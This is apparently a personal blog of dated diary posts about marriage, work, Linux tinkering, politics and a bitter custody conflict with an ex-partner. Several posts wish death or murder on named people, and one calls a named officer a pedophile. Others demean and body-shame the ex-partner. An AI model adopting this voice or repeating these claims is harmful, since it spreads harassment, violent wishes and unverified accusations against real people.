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I'm Married!

Mon, 01 May 2023 11:32:45 -0400

Before I met Amber I never expected to get married again. No joke, I really thought I’d just solo the rest of my life or just at most have a “life partner” that’s close but I’m not legally attached to, because it was a terrifying thought to be legally attached to pretty much anyone.

Then I met Amber, and she’s my life partner. She’s it. She’s my ride or die, and now she’s my wife.

I love you, my wife. More! ❤️

Victory

Mon, 04 May 2026 19:43:10 -0400

We’re back from Hawaii and I have successfully knocked out a whole ass work day. It was really “touch and go” there for a minute, but I struggled through the typical Monday fog and banged out the whole list of tasks the customer needed done. I guess I also receieved some praise while we were gone. All in all not the worst day ever. Maybe not the easiest, but not the worst by far.

Linux on the Desktop

Sat, 02 May 2026 17:35:12 -0400

I’ve been daily driving CachyOS for a couple weeks now and I have to say that I fucking love it. KDE Plasma is a decent enough WM. The only thing that annoys me is that most of the terminal emulators suck balls. Alacritty just condescends to the user by saying “you don’t deserve ligatures because no one has written a good implementation yet”. Pretty much all of the other ones are just vibecoded nonsense or are buggy as fuck. If anyone has a decent recommendation for a terminal emulator, I’m definitely taking suggestions.

HAWAII

Mon, 20 Apr 2026 20:07:42 -0400

HAPPY ANNIVERSARY TO MY WIFE! WE’RE GOING TO HAWAII, FUCK YEAH.

CachyOS

Wed, 15 Apr 2026 21:54:03 -0400

So I have a couple extra laptops laying around and I’ve decided to give CachyOS a spin. Excellent fucking distro, I have to say. I’ve never really consistently run Arch at all outside of my Steamdeck, but CachyOS has been goddamned excellent. I fucking love it. The BORE scheduler makes this thirteen year old hardware feel like it was made yesterday, not yesteryear. The hardware support is excellent. I haven’t yet found any instances of software or packages that I can’t obtain easily with either pacman or paru.

Burnout

Tue, 17 Mar 2026 19:13:58 -0400

I’ve been going pretty “full bore” at work for a while now. It’s been pretty lucrative. The company is making money hand over fist with my efforts. It feels pretty cool to be an important part of the company and all, but it’s starting to wear me down. I’ve been spending a lot of time in some of the worst places for my asthma. The air is so thick with oil that you can choke on it if you breathe too deeply. I’ve been putting in applications to get out of the automotive group and I’ve had interviews, but nothing has materialized yet.

Billionaires Must Die

Mon, 02 Mar 2026 19:45:07 -0500

Elon Musk is a piece of shit. He’s not very intelligent, but he’s at least smart enough to lean on more intelligent people when it comes to gambling with his money. That’s not prowess, that’s not special, that’s not cunning; it’s just privilege. That’s all his wealth has always boiled down to. He has had innate privilege from birth onward, and the only way he could’ve failed was to be an even bigger moron than he actually is. But he would have you believing that’s actually one of the most clever business men. He’s also delusional.

Tome

Mon, 23 Feb 2026 18:02:09 -0500

I like having a personal blog to write about whatever is on my mind. I like to write about the past, the present, the future, and literally anything on my mind. It feels therapeutic, but it also helps me make sense of my feelings and how I have become the person I am. I also like documenting nerd shit once in a while, albeit very rarely these days. I need to write more often, honestly. Whether it’s technical or just stream of consciousness, I need to make more time to write.

Love

Mon, 23 Feb 2026 10:28:04 -0500

No matter whether you’re a religious person or an atheist, everyone is familiar with 1 Corinthians 13:4-8. You might not know the chapter or verse by heart, but you’ve heard “Love is patient, love is kind”. It’s universal. Everyone has quoted it. Everyone has heard it. Your actual views on religion or Christianity don’t matter, because love exists despite.

For the longest time I had always been so insanely confused by those verses. I’ve been in relationships nearly the entire time with only a couple short breaks, but despite this I’ve never been in relationships where I have been loved. I thought it was normal to just be “with” someone even if they don’t love you. In truth, I had assumed that I wasn’t worthy of real love, so I got what I got and I should shut up and be content with whatever scraps I’m given. I guess I just sort of accepted that it wasn’t in the cards for me to have the kind of love I yearned for secretly.

FRIDAY

Fri, 16 Jan 2026 08:53:48 -0500

It’s Friday! WOOT. I have a new build plate and some glow in the dark ASA filament coming today, so I plan to dry the hell out of that filament tonight and give the new build plate a whirl with some weird prints. This should be pretty damn fun. I think I’ll replace the PETG I have in my AMS and re-dry it, since it’s giving me a bunch of heartburn with clogged nozzles and all sorts of bizarre failures that definitely seem related to soggy filament. I should also consider printing the rest of my AMS dessicant holders. I think I’ll probably do that this weekend as well.

Black and White

Thu, 15 Jan 2026 09:43:38 -0500

My mental health is in a place of relative stability these days. It has definitely been hard fought. Major depression and anxiety have been major themes in my life since I started forming memories. I think I have the major depression handled pretty well these days. I’ve managed to curb it without relying on drugs that cause sexual dysfunction, so I consider that a major win. The anxiety I’ve figured out how to live with. The interesting thing about the anxiety, though, is that I can function pretty well despite it. Though simultaneously I see the anxiety reflected in my blood pressure. It never goes down. The medications I take struggle to tamper it down. I still have work to do there, but I think losing weight will also help somewhat. Though I know weight is not the primary driver of my blood pressure. Simply put, though, I cannot deal with anxiolytics anymore. They’re not as helpful as they could be and the detriments they cause outweigh the positives. So I deal with my anxiety in every way possible without exposing myself to the liability of benzos.

Engagement

Tue, 13 Jan 2026 08:26:25 -0500

The world is going to hell in a handbasket because advertising is the largest business in the world and it’s dominated by “engagement”. The algorithm has determined that fury and strife are the biggest drivers of engagement and thusly push content that exploits this fact above all other content in order to put advertisers in front of your face.

We know this information already. The strange thing is that the populace doesn’t seem to give a shit. Almost like they enjoy the suffering. We live in wild times. Tech tyrants are eroding western democracy and nobody is sounding any alarm bell or fighting back in any way. We’re all just watching it happen. I dunno. I guess I can’t really think of any way to fight back myself.

Pure

Sun, 11 Jan 2026 11:10:19 -0500

To my wife,

Language is an inadequate medium to express the feelings in my heart for you. My life has changed immeasurably, irrevocably, in the most incredible ways since you’ve entered it. Since it’s impossible to explain with words, I’m going to have to spend the rest of our lives holding your hand, wrapping my arms around you, kissing you, cuddling you, holding you as physically close as possible to express how emotionally close I hold you. You are so beautiful, so intelligent, and are the warmest soul I have ever met. The love that fills your heart is the love that the world needs, and the love that I need. You are more adored than you may ever realize.

Unexpected

Sat, 29 Nov 2025 08:57:48 -0500

Well, this was unexpected. Seriously. I’ve been married before. I got married for the wrong reasons, largely because I had no idea what I really wanted out of a relationship. In hindsight, it makes a lot of sense. You try things while you’re alive and test them out, see if they’re the right fit for you. I was mostly okay with my ex wife while we were married, but honestly her personality was not at all compatible with mine. We clashed more often than not, and it didn’t take very long before the little trust we had built our relationship on had completely eroded to absolute distrust. The relationship after my ex wife was a nightmarish rebound. My last ex taught me about borderline personality disorder in the way that touching a stovetop teaches you about fire. I immediately did not trust her, but she pretended to be my “best friend”, and the illusion was really thin. I knew she was a predator from the start, so I always kept her at arm’s length. I even proposed to her when I had no intention of ever legally tying myself to her. I wouldn’t have even conceived a child with her had she not lied about being on birth control. Always lying, always decieving, always gaslighting to make herself look innocent instead of evil.

The Resplendent Life

Mon, 24 Nov 2025 09:25:25 -0500

It’s always around this time I’m reminded of my mother’s unceremonious dumping of my status as her child. I’m reminded of her gatekeeping my family because she doesn’t want to be uncomfortable around me at family functions. I’m reminded of all of the things my son will miss because my mother is a petty and hateful person. It’s not the most comfortable time of year for me, but I’m in a far healthier mindset now than I ever have been.

90 Day Rundown

Tue, 11 Nov 2025 16:34:27 -0500

Alright, I need to put my shit list down. These people are fucking killing me.

So here we go.

Gino Palazzolo – This manbaby is an absolute pile of lying garbage. And I’m not even that fond of Jasmine, but holy fuck this guy is a serious pile of shit. Like real low garbage. He agreed to an open marriage. He set the stage for all of the events to go down, he was the master of his own demise, and he’s absolutely gaslighting, lying, and deferring blame. He can’t accept his role in any of the things he caused because it would absolutely break his brain to improve himself and not be a trash ass bald loser. Gino absolutely just wanted an attractive latina for armcandy to distract from the fact that he’s a fucking loser.

Gino Palazzolo Deserves to Die Alone and Childless

Mon, 03 Nov 2025 19:40:22 -0500

Gino Palazzolo is a piece of shit and he deserves to die alone and childless. I really don’t have to be “Team Jasmine” either. I mean, she’s fine, she’s toxic in some ways but holy fuck all of her toxicity is eclipsed by Gino’s bullshit. Gino really is fucked in the head. He absolutely deserves to die alone and childless, and I don’t think I can say it enough times.

Peristalsis

Thu, 30 Oct 2025 09:31:41 -0400

I think I need that folding controller for my phone. Carrying a steam deck around isn’t super convenient and it’s a pretty large and clunky device. I also need to figure out something less depressing than “At least I have the weekend”. Every week I just count down from five and some weeks I don’t get that requisite “throwaway” weekend to recharge my batteries and start tilting at life again. I really need a vacation where I’m not beholden to any other person than my wife. I really can’t relax around other people. I’m not built that way, people by and large make my life harder no matter what. A large part of the hardship other people impose on me is the social anxiety. I’m sure my blood pressure spikes around people. I have general anxiety at baseline, but my god do people make it worse. And at the same time, I can’t just become a hermit. What I really need is to figure out balance and also feel contented with it. It would be altogether convenient if, at the very least, people entertained me or otherwise provided some sort of “carrot” to bait me into social situations.

Insane World

Tue, 21 Oct 2025 08:15:55 -0400

I can’t explain it, but it seems as though our species has an inverse correlation between technological progress and social progress. The more complex we become technologically, the more deranged we are socially. I’d be lying if I laid claim to understanding it. I definitely don’t, and I really can’t begin to pick apart possible causes for the phenomenon. But it’s there, staring me plainly in the face, along with the rest of society. What an odd circumstance.

Instantiation

Thu, 09 Oct 2025 09:47:14 -0400

Sometimes I’ll write something and erase and rewrite it over and over until the words I read back to myself are satisfying enough to discontinue this insane practice. It reminds me of Vonnegut talking about writing, except far more inept and idiotic. I want to get into casual reading again. I used to read a ton when I was younger and had a lot of free time. I haven’t been an avid reader in many years. The fact that I had an “avid reader” phase at all is pretty impressive for a person with untreated ADHD.

Hobbies, Man

Mon, 29 Sep 2025 10:30:59 -0400

I should really go through the time-saving hassle of updating the “new post template” on this theme I’ve been using. Might as well make the path of resistance as short as possible so I can take more time to just write things out as needed.

Man, we’re in some scary times right now. It feels as though authoritarianism is just around the corner for “The Land of the Free”. Y’all-Qaeda is ramping up attacks on secularism and freedom of speech at present, seemingly because of one dead racist guy. Oh, I’m sorry, I’m not supposed to say that. But who the fuck is going to censor me on my own platform? Hmm? You can report me to my host but they likely won’t give a shit, not like facebook or twitter would anyways. I can say whatever the fuck I want and your only choice, should you not like my words, is to avoid reading them. That’s your only recourse, and that’s how things should be. Go ahead, get mad, ball your little fists up in anger, and then move on. That’s what the first amendment guarantees me.

That's a Wrap

Tue, 23 Sep 2025 08:13:42 -0400

I guess that’s a wrap on writing about some of the biggest issues I’ve dealt with in life. I probably have a good amount more to say, but at the same time, I can write until my fingers are bloody stumps and it won’t change the reality of it all. I can just keep on carrying on and go about my life, and that’s really it. There are no interventions, there’s nothing that can be said or done to “fix” these things. Not to say they’re broken beyond repair, but maybe the people involved are. If it were up to me I would’ve reconciled with my mom a long time ago, but it’s not up to me. It never will be. And in all honesty, the longer it goes this way, the less willing I would be to change how things are. It’s better to know that I don’t matter to her than it is to assume I do and find out otherwise. Mostly I am writing these things as a release. I’m letting go of the thoughts and feelings associated. I’m giving them wings to leave me for good, to remove any doubt, and just move on with my life.

Countenance

Thu, 18 Sep 2025 08:37:55 -0400

The reality is that life is messy. We don’t always get what we want. My mother didn’t teach me how to be expressive, how to communicate my wants and needs, because my mother isn’t capable of communicating her wants or needs. Thankfully I’ve grown past that and figured out that communication is completely essential to healthy relationships. Had I not figured that out, I would be in a far worse place.

Cor Firmum

Mon, 15 Sep 2025 11:55:46 -0400

Another day, another dollar. I would be lying if I said I particularly enjoy what I do. I guess I don’t hate it tremendously. I hate my mind not being occupied more than anything else. When I had jobs that didn’t ask much of my mind, I would fill my mind with books and engineering ideas. Now that my job is entirely technical, my mind is not so filled with books or engineering ideas. All of those thoughts belong in the realm of “other people’s assets”. I am a bastion of proprietary knowledge.

Osmosis

Thu, 04 Sep 2025 21:06:58 -0400

I am fairly certain that I know what happened with my father. I never met my paternal great grandfather, but I can say that those whom I have met in my family have shed some light on a few mysteries.

When my dad died, my grandparents couldn’t bear to part with the reminders of their youngest son’s early departure. Let alone that their grandson would never know the man. The family bore some emotional weight from that, and shifted some weight still. I can’t say that it caused my grandparents to die any earlier than they would have otherwise, but I can definitely say that their house felt incredibly hollow and quiet for their remaining years.

Summer Fades

Tue, 19 Aug 2025 09:28:54 -0400

It’s always a bummer when the days get shorter and the temps get lower. Eventually the trees will shed their beautiful greens in favor of rust, orange, and yellow. I don’t mind the trees changing color, it can be beautiful at times. The lower temps, though, are largely what I’m not a huge fan of.

Friend of mine just went through a messy breakup. I guess not just per se, but it was in the works for some time and only recently culminated in what therapists in the biz call “The Final Discard”. I’m trying to be the supportive friend, but he keeps saying things like “I want her back”, and the reality is that he does not actually want her back. He’d take anyone and anything ready to settle down at this point, he wants someone, not necessarily her specifically.

Vacation

Wed, 06 Aug 2025 06:17:35 -0400

The next couple months are going to include a good amount of time off to just enjoy being alive, and I appreciate that. I need it, really. I’ve worked hard. We’ve worked hard together. We’ve made awesome progress in all of the goals we’re working toward. I couldn’t have designed a better partner than my wife. My heart beats for her. She needs some time to rest and relax for sure.

Wireguard Mastery

Sat, 02 Aug 2025 14:21:34 -0400

I fucking love Wireguard. I love it. It’s awesome. I love it so much that I honestly don’t understand why tools like Tailscale or Headscale exist. I mean, I guess I understand if you want to modify instrumentation on the fly for whatever reason, but all the tunnels I’ve established have been pretty static. I’ve never needed something to basically wipe my ass for me with regards to Wireguard.

So, why do I think Wireguard gets passed over in favor of Tailscale or Headscale? I think it’s because people don’t realize that, while Wireguard does heavy lifting, it doesn’t wipe your fucking ass for you. In other words, it assumes nothing about what you’re trying to do with it. What does that entail?

More Borderline Nonsense

Wed, 23 Jul 2025 06:08:04 -0400

Well, the ex is at it again. So this fool of a human being has been pretty forceful of atheism around our son. Normally that’s whatever, I think we’re all pretty rigid with how we conduct ourselves in front of our kids in order to try and set a precedent. But this fool is so inconsistent, she’s so manipulative, and so conniving, that my son has taken up religion in order to troll her. He knows exactly what he’s doing, and I admit that for a twelve year old he has a lot of commitment. But it’s very obvious that he’s just pursuing it because it’s a legitimate thing to use to annoy her. She obviously annoys the hell out of him with her erratic and stupid behavior, and so this is just his way of “getting revenge” and “hitting back”. It’s apparently massively effective, because this 30 year old child is “forcing” him to go to a Ghost concert. Yes, the Satanic metal band Ghost. I bet you heard my eyes roll into the back of my head as I typed that. This whole situation is absurd. My ex is absurd. Just DO DBT WORKBOOKS ALREADY, Jesus. Like you’re obviously still really fucked up and can’t conduct yourself like you fit into society, so maybe it’s time to acknowledge that you need to change? Just what an absolute clown of a human being. And to think, this 400 lb screaming borderline calls my wife fat!? Holy fucking god, lady. Look at your own scale, eh? I’m just so absolutely fucking annoyed, and mostly I’m annoyed for my son. He has to put up with this unstable and lying manipulator for the rest of his life, or at least until he’s old enough to send boundaries with her. He’s not a borderline, he’s nowhere close. Unlike his mom, he outgrew the temper tantrum phase of life. So he has some pretty intelligent observations that he’s made about his mom, and I’m pretty proud of him that he’s able to understand right and wrong and isn’t trying to delude himself about her. He flat out tells me about messed up things that she does, and basically that she contributes nothing to the hygiene of the home, and her husband doesn’t give a shit so basically the whole place is filthy. It’s funny to see how nothing has changed in all this time. She’s still lazy and entitled, same as always, and I doubt it’ll ever change.

Docker Compose Update

Thu, 17 Jul 2025 19:07:00 -0400

Fuck my fucking life, I’m a goddamn fool. I’ve been doing too much when it comes to updating docker containers. It turns out there is a better way. What is this “better way”, you ask? Here goes.

# docker compose pull
# docker compose up -d

Boom. You don’t even have to stop the containers. You run those two commands and your shit will be updated and running with the new update real fuckin quick. It’s kinda awesome and I wish I weren’t such a moron so that I could’ve known that right away. Alas, I only learned this recently. Still though, better late than never.

Wed, 16 Jul 2025 11:52:03 -0400

Reddit is a solid example of CIA-style dialogue control and narrative manipulation. Not all of the “moderation” that goes on in the various corners of reddit falls into the category of “manipulation by shadowy entities”, but certainly anything that doesn’t fall into that category surely is attributed to the petty wants of whatever moderator is wading through the muck. The moderators of reddit almost universally suck, and honestly they should be replaced with Bayesian spam filters and CSAM autodetection systems at most, with an occasional janitor to prune the worst contributions. Instead, reddit consists almost entirely of wildly entitled morons just espousing whatever idiotic tripe they deem fit for mass consumption.

Frustration

Tue, 15 Jul 2025 07:22:13 -0400

Not gonna lie, one of the most irritating aspects of “co-parenting” with someone diagnosed with Borderline Personality Disorder has to be the absolute disrespect suffered by the other parent at basically every juncture. Borderlines are incapable of respecting the other person’s time, so they’re pretty typically late with everything they promise; whether it’s dropping off or picking up. You can always count on them being late and you’re always better off just not scheduling anything on days you know they’re supposed to do some driving.

Friday

Fri, 27 Jun 2025 10:53:21 -0400

It’s my favorite day of the week once again! Truly, the freedom associated with Friday is absolutely fantastic. I’m excited to break out of here as soon as humanly possible and get my ass lodged into the couch as deep as I can go; maybe drink some beers and pop an edible prior. It’s just a great feeling knowing that I won’t be rudely awoken by a digital nag in the morning. I love it. I wish that Friday feeling could be bottled and sold- I’d be a goddamn billionaire. Don’t say fentanyl, that’s not the feeling I’m trying to express, you jaded goon! I mean actual relief that the toils and troubles foisted upon you the previous four days just melting away. That’s the feeling. That’s the essence I want to bottle and take to market. Anyone know how I might be able to do that? I guess I should think on it for a bit. Coming soon: Injectable Friday. lol.

Laid Back

Tue, 24 Jun 2025 19:23:53 -0400

I think Zed is now my favorite text editor overall. Can’t really explain why, as I don’t even use the goddamn AI features yet. I do intend to at some point, but I just can’t be bothered to invest the time at the moment. I’m so goddamn lazy after I get home from work. I try to make sure I do at least one productive thing a day. I don’t always live up to it, but I try to keep in mind that even on days when I’m not feeling it generally I can still just force myself to do something small to least have done something.

Grind

Sun, 22 Jun 2025 15:50:27 -0400

God dammit. I’ve been off work for four days and I really would prefer to have another four days off rather than return! Fuck fuck fuck fuck fuck fuck fuck fuck.

I guess I had better start paying idiot tax if I ever expect to skip work for prolonged periods while also avoiding symptoms of joblessness.

Sidebar: I’m very tired of ads. I’m running pihole at home, and I install youtube adblock on pretty much everything with a screen. Yet I still am subjected to ads care of Apple’s restrictive nonsense not allowing me to bypass ads on AppleTV. Irritating. Massively fucking irritating. I don’t care about ads, they’re a waste of economic effort, because anyone using ads to promote a product is likely hucking absolute shit. Advertisers: Go fuck yourselves, you’re social parasites and I hope you all die slowly of stage five cancers.

Derision

Thu, 19 Jun 2025 21:39:59 -0400

I’ve been spinning my wheels on this goddamn blog for years now. Basically since it began, if we’re being honest about it. I need to figure out what the hell I want to do with it.

Time Off

Wed, 18 Jun 2025 06:57:29 -0400

Not gonna lie, but I’m pretty damned excited to have a stretch of four days off. We’re probably even going to leave early as shit today, once we do a little work. It’s going to be goddamned stellar for sure. Absolutely nothing can piss in my cheerios, god dammit. I’m excited. EXCITED!

THIS. WILL. BE. AWFOM.

The Sleeper Awakens

Tue, 17 Jun 2025 07:48:51 -0400

In the last six years I’ve gradually noticed something that has really taken me by surprise. It’s something I’ve rehashed and reviewed in my mind over and over to validate and analyze. But one thing is clear; It’s not familiar to me nor is it something I’ve had for much of my life. But I can’t deny it. I can’t ignore it or pretend it’s not real or not there. Like an eight hundred pound gorilla in the corner; it’s unmistakable.

Radiation

Mon, 09 Jun 2025 09:09:25 -0400

I can’t even begin to elaborate on how annoyed I am with Apple’s iPhone design choices. Fucking really? We’re segregating storage now? I’m sure Tim Apple will cry about virus threats and blah blah as motivation for this garbage, but we all know he eventually just wants to offload every phone OS to the cloud, so that way he has ultimate control over every single unit sold. Jailbreakers won’t even exist at that point. Phones won’t have storage outside of RAM. What a shitty future. I hope society at large rejects this future. It’s a bleak one, where heated seats are installed in every car but you have to “unlock” them with a subscription.

Fucking Finally

Sat, 07 Jun 2025 11:37:44 -0400

I think I really like this editor, it’s quite nice, though it’s crazy irritating that I can’t figure out how to disable autocomplete fully for markdown files. It’ll stop sending “AI” requests when I tell it to, but the baseline word prediction for markdown files is just honestly moronic at best, and it should be something you should be able to disable if you get annoyed easily seeing stupid words with no relation popping up every time you fucking type.

Chicago Bound

Fri, 30 May 2025 09:03:26 -0400

It sounds like we have a fun weekend in Chicago planned. We’re going to hit the natural history museum and Shedd aquarium, which are both awesome places to visit when you’re in the city. It’ll be exciting to do those things and visit the kids, hopefully they’re able to peel off from work to do some of these things with us. Chicago is always a good time.

I’ve been having to get up every day at five in the morning, though. It’s been pretty goddamn rough if I’m being honest, and I know what’s going to end up happening this weekend. I’m inevitably going to be wide awake at 7am at the latest every day, and that’s probably going to annoy everyone in our group. But I can’t fucking help it, this is what I’ve been having to do. I can’t change when I feel dead ass tired or how early I wake up because I’ve been basically trained to this schedule- and it runs deep now. There’s very little variation on the theme, so it’s been so concretely reinforced that I can’t do a goddamn thing to influence it. I can even sleep through redbull at this point if it’s late enough. I think it would take a lot to disrupt my schedule currently.

Tuesday Morning

Tue, 27 May 2025 07:33:20 -0400

The three day weekend was quite nice. I feel more rested, more recharged, more capable of dealing with the onslaught of crap I wouldn’t be bothered with if I wasn’t getting paid. Just read my “instadose” and I think it could be defective. I haven’t read data from it since I got it many months ago and it reported exposures of “zero”. That doesn’t seem right given that background x-rays are non-zero. Dunno. Maybe I’m wrong. Maybe it’s fine. But this is the sort of tedious shit that occupies most of my days.

Long Weekend

Mon, 26 May 2025 18:46:22 -0400

I am tired as hell. Not gonna lie. There’s always so much going on, and yet, sometimes it feels like there’s nothing going on. What a weird mix.

Three Day Weekend

Sun, 25 May 2025 19:06:21 -0400

Thank God for the three day weekend. Man, I needed this. Work has been soul-sucking lately. Dealing with the psycho ex has been soul-sucking as well. There have been a lot of things that have been soul-sucking and I’m just grateful for the reprieve offered by the extra day off.

I definitely needed the time to rest and recharge my batteries.

We just finished watching every epside of Eastbound & Down and I have to say that is some of the funniest shit I’ve ever seen. Other than that, I’ve been dicking around on Supernets. When I’m not dicking around on Supernets I’m probably doing something around the house. Being a homeowner is wild, honestly. It’s a pain in the ass, but it’s also a pain in the ass that benefits you to keep up and upgrade. You get equity when you own your home, which is real cash value in the property that you live. It’s kinda cool, honestly.

Generally

Tue, 20 May 2025 07:30:27 -0400

Work seems like a mess right now, and not just for me. Everyone is having an interesting time. It seems like the only profession not being invaded mercilessly by OpenAI are professions where crude labor are employed. No real thought involved, or at least not much, just mostly physical action. Whatever physical action hasn’t been replaced by machines or robots. The ways in which it’s impacting me aren’t substantial yet, but I’m sure that’s heading our way rather quickly, for better or worse.

Long Hair Dont Care

Sun, 18 May 2025 07:32:43 -0400

It’s been a minute since I’ve made an update. Figured I’d take a whack at it and see if I can still bang out text blurbs nobody reads.

Home ownership is a lot. It really is a lot. You have to make sure every appliance is working, because any appliance failure could cost you more than the amount to replace the appliance itself. For example, dish washers and other washing machines can leak, which will fuck up your walls and floors. You can’t have a moldy frame in your house, that shit is dangerous. If the subfloor rots, you can fall in.

Resume

Sat, 22 Mar 2025 20:05:02 -0400

Having to put a pause on this blog is honestly kind of a pain in the ass. It bothers me to not be able to express thoughts or ideas or feelings. It feels like an undue censorship that causes me some amount of distress. But, in all honesty, I get it. There are unhinged people who probably might stumble upon it, read it, and fly into insane rages from what is written. I can’t help “Borderline Rage”, it’s not my cross to bear. The fact that reality is just triggering for certain people isn’t something I can control. Nor is it anyone’s issue to control but the person afflicted. I’m putting a pause on it for my kid. He doesn’t need undue stress put upon him by people who have an axe to grind with me. I don’t do that to my kids, even if their other parent can never sink too low.

Buckle Up

Thu, 30 Jan 2025 08:45:42 -0500

If there are any regular readers of this blog, I’m gonna have to apologize in advance. Buckle up, it’s going to be a wild ride. We’re surfing the emotions of a borderline after all, so it’s gonna be up and down like a goddamn tsunami. My wife is adding a psych certificate to her master’s, so I’ve been letting her speak for me to the loony ex. My wife has never seen a bigger borderline than my ex. She does clinicals in psych treatment facilities for christ sakes.

Place Title Here

Tue, 28 Jan 2025 07:28:35 -0500

Okay, I’m gonna be petty now, because I think it’ll be therapeutic. Besides, that fat bitch deserves it, so here goes.

She’s gotta be pushing 400 lbs by this point. It’s funny how her ugliness is compounded by everything she does. This crazy borderline bitch split her tongue for fuck sakes. That doesn’t exactly scream “mentally well”, it definitely screams “I don’t have a solid identity” though. When I was with her I made huge compromises in what I found visually appealing. She’s shaped like a man. She literally has a giant barrel gut and no ass or tits, and it’s grotesque. Literally grotesque. The love bombing was very effective, jesus christ. I had questioned if the apperaance of her body implied I might be gay, because she is not feminine shaped at all. She’s got like a “goth brontosaurus” thing going. I’m so glad she’s out of the picture, because I am not gay. I love boobs and butts. I love my wife’s boobs and butt. I missed physical intimacy with an actual female and not a sad immitation of a female.

BPD Really Is the Worst

Sun, 26 Jan 2025 18:42:21 -0500

So the ex said to me not too long ago: “I’ve been discussing with my therapist and she thinks it might be ASD and not BPD”. Pretty sure I mentioned this here. It’s been rubbing me the wrong way for a minute. She was diagnosed with borderline personality disorder a minimum of twice so far. The diagnosis is spot on. It’s absolutely a believable diagnosis, if not obvious to even non-medical people. My wife is adding psych to her master’s degree via a certificate, so she’s clinically equipped to spot this stuff and she says that my ex is one of the worst borderlines she’s seen.

More Borderline Behavior

Sat, 25 Jan 2025 10:37:02 -0500

It just never ends. So apparently my borderline ex is trying to wear my son down with more gaslighting and manipulation. It sounds like he’s just breaking down around her because of all her borderline behaviors and she’s refusing to do a DBT workbook to make his life easier. Of course she’s lying to me, I’ll never get the truth out of her, but my son isn’t borderline. I know that because I have the same reaction to her behavior as any more sane person would. If someone is screaming at you that the sky is purple and degrading you and calling you every horrible thing in the dictionary, you tend to double down that the sky is blue and respond in kind.

Inauguration

Mon, 20 Jan 2025 15:31:10 -0500

These morons are already declaring “America’s Decline is OVER!” The irony is that they don’t have a good vision for this country. Theirs is one of a depraved “late stage capitalist” nightmare. Pretty soon you won’t be able to own things anymore. They’re going to tell you it’s for your own good. They’re going to tell you it makes commodities cheaper. They’re lying. It makes commodities more profitable for them to sell, and the moment they secure their place as the monopoly they’re going to rug you. They’re going to jack prices up to where any value you may have seen is entirely gone. That’s how they get you. They rob you blind and tell you it’s for your own good, and since they’ve worked so hard to destroy the education system, you don’t fucking question it. You goddamn sheep. Seriously. Quit letting people tell you how to think and feel about very disgusting situations. Stop just eating the shit they produce by the fistful. It’s not worth it. None of it is worth it.

Rape Isn't a Dealbreaker

Sat, 18 Jan 2025 20:10:49 -0500

It’s interesting to think that in the US; being convicted of rape isn’t exactly a dealbreaker for voters selecting a president. The intellect behind this notion isn’t exactly a powerful one. It seems to be the result of eroding the education system for nearly a century.

Lies and Manipulation

Fri, 17 Jan 2025 07:50:39 -0500

It’s wild to me that people who know they have BPD and know they lie and manipulate all the time will insist you “trust” them about things, even though you don’t ever engage them on whether you believe they’re trustworthy or not. I guess that’s one of the reasons experts insist on the “gray rock” method of dealing with borderlines. Anything and everything you say at them, you say it robitically and without any passion or emphasis. Zero emotion whatsoever. This includes not pointing out that they’re lying, because it’s guaranteed to shut everything down. Are they lying? Of course, their lips are moving. Does it benefit you at all to express your disbelief? No, it never mattered in the first place. Not to them, not to you; it doesn’t matter. They’re not doing DBT workbooks. You don’t matter enough for them to tell the truth, no matter who you are to them. Worst of all, their own kids don’t even matter enough to them to get the truth. They’ll lie to and gaslight their own children and inevitably push their own kids away. My kid is eleven and he knows when he’s being lied to. He knows more than the borderline thinks he knows, and she still lies to him. He knows it’s not right, it makes him cry. Will she ever get her shit together and start doing therapy honestly? No, not in a million fucking years, she’s so used to taking the easy way out of everything that it’s just pathetic.

Typical BPD Behavior

Sun, 12 Jan 2025 17:56:34 -0500

For the umteenth time I’ve logged yet another page in my journal of “co-parenting with a borderline”. This entry ends up highlighting the pitch black feet my son had coming from his mother’s house and the fact that he was gifted a Motorola Razr phone when the furnace doesn’t even work.

In most jurisdictions this is frowned upon. CPS will give you resources to pay bills and things if you’re actually just in dire financial straits, but if you’re just showing how selfish you are prioritizing stupidity over necessary things like a home above freezing temperature they will frown at you big time.

Ice T Isn't Taking This Bullshit

Sat, 11 Jan 2025 12:15:06 -0500

Watch this video. Tell me this asshole cop isn’t a power-hungry piece of shit trying to exert force on someone who doesn’t have a badge. What a fucking dickhead. Here are a few more takes on it: here and here. I hate when cops let their badge go to their heads, and it seems far more common than not. You’re not a fucking hero. You’re not a savior, you’re not cop fucking Jesus for christ sakes, get over yourselves. Grow the fuck up. You’re a lower middle class grunt enforcing the will of lobbyists and billionaires on middle and lower classes, and when you tangle with the upper class like you have, that’s the only time you get humbled how you need to be humbled. Fucking arrogant pricks.

Justin Lytton Is a Pedophile Cop

Fri, 10 Jan 2025 17:44:20 -0500

I’m watching this Hulu documentary called “Betrayal” and I’m absolutely horrified at Utah’s pedophile cops aiding and abetting their pedophile siblings. This shit is beyond the pale, and Jason Lytton only got less than a year. His brother, Justin, likely had the Prosecutors cycled out until his brother obtained a favorable plea deal. This is just absolutely disgusting. I’m so disgusted right now. I hope that fucker gets murdered by someone, honestly, both him and his brother. Fucking corrupt cops and pedophiles just helping each other out- This is the shit that internal investigations are supposed to curb, and how exactly did that Utah department clear Justin Lytton of any wrongdoing? Please do tell me, because he obviously intervened in his brother’s case.

Fucking Cicada

Tue, 07 Jan 2025 21:34:07 -0500

These rat bastards. I swear. So, I’m not musically inclined in the least, I don’t know the notes of a piano or anything like that, so I get to rely entirely on technical prowess. The problem is the only tools I have in my toolbag for audio analysis are like twenty years old and are very rigid kinds of tools that are used for in-depth processing tasks where you know what the fuck you’re doing right away and you’re not a total dolt.

Next Breakthrough

Tue, 07 Jan 2025 07:59:00 -0500

They’re anticipating another ‘peak capacity’ point for humanity around 2050 or so. I believe the prediction is based on agricultural practices and capacity. I’m not entirely certain about this, I only heard about it in passing. What I do know, though, is there will always be a breakthrough to enable us to chase these ambitions of growth and expansion. My only question is; what will the next breakthrough be? A few hundred years ago it was a chain of islands with thousands of years of bird guano being shipped globally to fertilize crops. After that, the Haber process enabled further population boom. I honestly can’t predict the next explosion, but honestly I think it might come in the form of commodity vertical farming. Cheap and effective vertical farming would easily alleviate a lot of issues with land utilization, and I think that was one of the expected barriers to further growth.

Religion

Sat, 04 Jan 2025 17:36:18 -0500

I decided to try out the Paramount+ “live stream” feature and found myself a “Indiana Jones” marathon, so I flipped it on. I’m watching the movie and Indy just crossed the threshold of the grail sanctum, and it just strikes me as to how absolutely moronic this “spirituality” thing really is.

